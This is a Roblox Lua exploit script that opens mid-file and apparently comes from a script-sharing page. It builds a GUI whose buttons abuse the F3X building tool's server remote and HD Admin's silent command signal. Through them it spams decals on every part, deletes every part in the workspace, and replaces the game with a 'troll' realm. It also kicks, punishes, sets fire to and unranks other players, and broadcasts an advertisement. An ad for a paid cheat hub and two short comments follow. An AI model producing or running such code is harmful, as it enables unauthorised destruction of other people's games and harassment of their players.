function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("96136315502110")
end)
LMG2L["Gun 2_10"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["Gun 2_10"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Gun 2_10"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Gun 2_10"]["Size"] = UDim2.new(0, 144, 0, 36);
LMG2L["Gun 2_10"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Gun 2_10"]["Text"] = [[Gun 2]];
LMG2L["Gun 2_10"]["Name"] = [[Gun 2]];
LMG2L["Gun 2_10"]["Position"] = UDim2.new(0, 494, 0, 86);
LMG2L["Gun 2_10"].MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";gear me 8640678553")
end)
LMG2L["RE_11"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["RE_11"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["RE_11"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["RE_11"]["Size"] = UDim2.new(0, 40, 0, 36);
LMG2L["RE_11"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["RE_11"]["Text"] = [[RE]];
LMG2L["RE_11"]["Name"] = [[RE]];
LMG2L["RE_11"]["Position"] = UDim2.new(0, 40, 0, 0);
LMG2L["RE_11"].MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";respawn")
end)
LMG2L["Skybox_12"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["Skybox_12"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Skybox_12"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Skybox_12"]["Size"] = UDim2.new(0, 150, 0, 36);
LMG2L["Skybox_12"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Skybox_12"]["Text"] = [[Skybox ]];
LMG2L["Skybox_12"]["Name"] = [[Skybox]];
LMG2L["Skybox_12"]["Position"] = UDim2.new(0, 20, 0, 86);
LMG2L["Skybox_12"].MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color,
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
local root = char:WaitForChild("HumanoidRootPart")
local pos = root.CFrame + Vector3.new(0, 6, 0)
CreatePart(pos, workspace)
task.wait(0.2)
local skyPart
for _, v in workspace:GetChildren() do
if v:IsA("BasePart") and (v.Position - pos.Position).magnitude < 1 then
skyPart = v
break
end
end
if skyPart then
SetName(skyPart, "Sky")
AddMesh(skyPart)
SetMesh(skyPart, "111891702759441")
SetTexture(skyPart, id)
MeshResize(skyPart, Vector3.new(1000, 1000, 1000))
SetLocked(skyPart, true)
SetAnchor(true, skyPart)
end
end
Sky("129040246467134")
end)
LMG2L["Fire All_13"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["Fire All_13"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Fire All_13"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Fire All_13"]["Size"] = UDim2.new(0, 150, 0, 36);
LMG2L["Fire All_13"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Fire All_13"]["Text"] = [[Fire All]];
LMG2L["Fire All_13"]["Name"] = [[Fire All]];
LMG2L["Fire All_13"]["Position"] = UDim2.new(0, 20, 0, 176);
LMG2L["Fire All_13"].MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";fire all")
end)
LMG2L["TextLabel2_14"] = Instance.new("TextLabel", LMG2L["Frame_2"]);
LMG2L["TextLabel2_14"]["BorderSizePixel"] = 0;
LMG2L["TextLabel2_14"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["TextLabel2_14"]["TextColor3"] = Color3.fromRGB(89, 253, 255);
LMG2L["TextLabel2_14"]["Size"] = UDim2.new(0, 426, 0, 36);
LMG2L["TextLabel2_14"]["Text"] = [[Script Made By R0van_exploiter]];
LMG2L["TextLabel2_14"]["Name"] = [[TextLabel2]];
LMG2L["TextLabel2_14"]["Position"] = UDim2.new(0, 142, 0, 342);
LMG2L["Kick Other_15"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["Kick Other_15"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Kick Other_15"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Kick Other_15"]["Size"] = UDim2.new(0, 150, 0, 36);
LMG2L["Kick Other_15"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Kick Other_15"]["Text"] = [[Kick Other ]];
LMG2L["Kick Other_15"]["Name"] = [[Kick Other]];
LMG2L["Kick Other_15"]["Position"] = UDim2.new(0, 336, 0, 176);
LMG2L["Kick Other_15"].MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";kick other")
end)
LMG2L["Gun 1_16"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["Gun 1_16"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Gun 1_16"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Gun 1_16"]["Size"] = UDim2.new(0, 150, 0, 36);
LMG2L["Gun 1_16"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Gun 1_16"]["Text"] = [[Gun 1]];
LMG2L["Gun 1_16"]["Name"] = [[Gun 1]];
LMG2L["Gun 1_16"]["Position"] = UDim2.new(0, 336, 0, 86);
LMG2L["Gun 1_16"].MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";gear me 10648330247")
end)
LMG2L["Massage_17"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["Massage_17"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Massage_17"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Massage_17"]["Size"] = UDim2.new(0, 150, 0, 36);
LMG2L["Massage_17"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Massage_17"]["Text"] = [[Massage ]];
LMG2L["Massage_17"]["Name"] = [[Massage]];
LMG2L["Massage_17"]["Position"] = UDim2.new(0, 178, 0, 132);
LMG2L["Massage_17"].MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";mb Team R0van Join Today")
end)
LMG2L["Realm_18"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["Realm_18"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Realm_18"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Realm_18"]["Size"] = UDim2.new(0, 422, 0, 28);
LMG2L["Realm_18"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Realm_18"]["Text"] = [[Realm]];
LMG2L["Realm_18"]["Name"] = [[Realm]];
LMG2L["Realm_18"]["Position"] = UDim2.new(0, 140, 0, 302);
LMG2L["Realm_18"].MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";btools me")
RequestCommand:InvokeServer(";fogcolor black")
wait(0.4)
RequestCommand:InvokeServer(";punish all")
wait(0.1)
local player = game.Players.LocalPlayer
local char = player.Character
local backpack = player.Backpack
local function getf3x()
for _, v in ipairs(backpack:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
for _, v in ipairs(char:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
return nil
end
local f3x = getf3x()
if not f3x then
warn("you dont have f3x skid")
end
local syncapi = f3x.SyncAPI
local serverendpoint = syncapi.ServerEndpoint
local function delete(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function deleteall()
for _, v in ipairs(workspace:GetDescendants()) do
if v:IsA("BasePart") or v:IsA("UnionOperation") then
spawn(function()
delete(v)
end)
end
end
end
deleteall()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";fogcolor black ;time")
local player = game.Players.LocalPlayer
local char = player.Character
local backpack = player.Backpack
local function getf3x()
for _, v in ipairs(backpack:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
for _, v in ipairs(char:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
return nil
end
local f3x = getf3x()
if not f3x then
warn("you dont have f3x skid")
end
local syncapi = f3x.SyncAPI
local serverendpoint = syncapi.ServerEndpoint
local function resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function syncmaterial(part,mate,trans)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Material"] = mate
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function transparency(part,trans)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = trans
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function color(part, color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function syncmeshid(part, id)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..id
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function makemesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function syncmeshsize(part, vectora)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = vectora
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function syncmeshtexture(part, id)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..id
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function name(part, stringa)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringa
}
serverendpoint:InvokeServer(unpack(args))
end
local function lock(part, boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
serverendpoint:InvokeServer(unpack(args))
end
local function setcollision(part, booleana)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = booleana
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function setanchor(part, boolean)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function createdecal(part, side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function setdecal(part, asset, side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function makerealmbase()
local position = CFrame.new(0, 5, 0)
local base = serverendpoint:InvokeServer("CreatePart", "Normal", position, workspace)
resize(base, Vector3.new(500, 16, 500), position)
syncmaterial(base, Enum.Material.Concrete)
color(base, Color3.new(0.513725, 0.513725, 0.513725))
name(base, "loltroll")
lock(base, true)
local spawnpos = CFrame.new(34.5, 8.1, -26)
local spawna = serverendpoint:InvokeServer("CreatePart", "Spawn", spawnpos, workspace)
resize(spawna, Vector3.new(20, 10, 20), spawnpos)
name(spawna, "SpawnLocation")
lock(spawna, true)
createdecal(spawna, Enum.NormalId.Top)
setdecal(spawna, "98969972196565", Enum.NormalId.Top) -- ganti decalnya pake decal lu
transparency(spawna, 1)
local pos = CFrame.new(74.143, 24, -25.232)
local rules = serverendpoint:InvokeServer("CreatePart", "Normal", pos, workspace)
transparency(rules, 0)
setcollision(rules, false)
createdecal(rules, Enum.NormalId.Left)
setdecal(rules, "100969683185448", Enum.NormalId.Left)
color(rules, Color3.new(1, 1, 1))
resize(rules, Vector3.new(3.5, 25, 40), pos)
name(rules, "rules block")
lock(rules, true)
local pos = CFrame.new(1.143, 24, -25.232)
local bad = serverendpoint:InvokeServer("CreatePart", "Normal", pos, workspace)
transparency(bad, 1)
setcollision(bad, false)
createdecal(bad, Enum.NormalId.Right)
setdecal(bad, "93975396335908",Enum.NormalId.Right)
resize(bad, Vector3.new(3.5, 25, 40), pos)
name(bad, "bad invisible lol")
lock(bad, true)
end
local function sky()
local position = CFrame.new(0, 5, 0)
local sky = serverendpoint:InvokeServer("CreatePart", "Normal", position, workspace)
makemesh(sky)
syncmeshid(sky, "129040246467134")
syncmeshtexture(sky, "129040246467134")
syncmeshsize(sky, Vector3.new(20000, 20000, 20000))
lock(sky, true)
name(sky, "z238z LOL")
setcollision(sky, false)
end
local function unanchorall()
for _, v in ipairs(workspace:GetDescendants()) do
if v:IsA("BasePart") or v:IsA("UnionOperation") then
spawn(function()
setanchor(v, false)
end)
end
end
end
local function realm()
sky()
makerealmbase()
end
realm()
RequestCommand:InvokeServer(";res all")
wait(0.3)
RequestCommand:InvokeServer(";r6 all ")
RequestCommand:InvokeServer(";time 9")
wait(0.7)
RequestCommand:InvokeServer(";music 127653283576622 ;volume inf ;pitch 1 ;unRank other")
end)
return LMG2L["ScreenGui_1"], require;
![Sir Meme Hub | [17 GAMES] [$14.99 LIFETIME] | FARM/AIM/ESP](https://cdn.kocakz.me/images/e504c71fa02f6af2fd2c60f10f68873bd0f27b9de310639fc51d740f46e3c289.webp)


Wdym idk
Thanks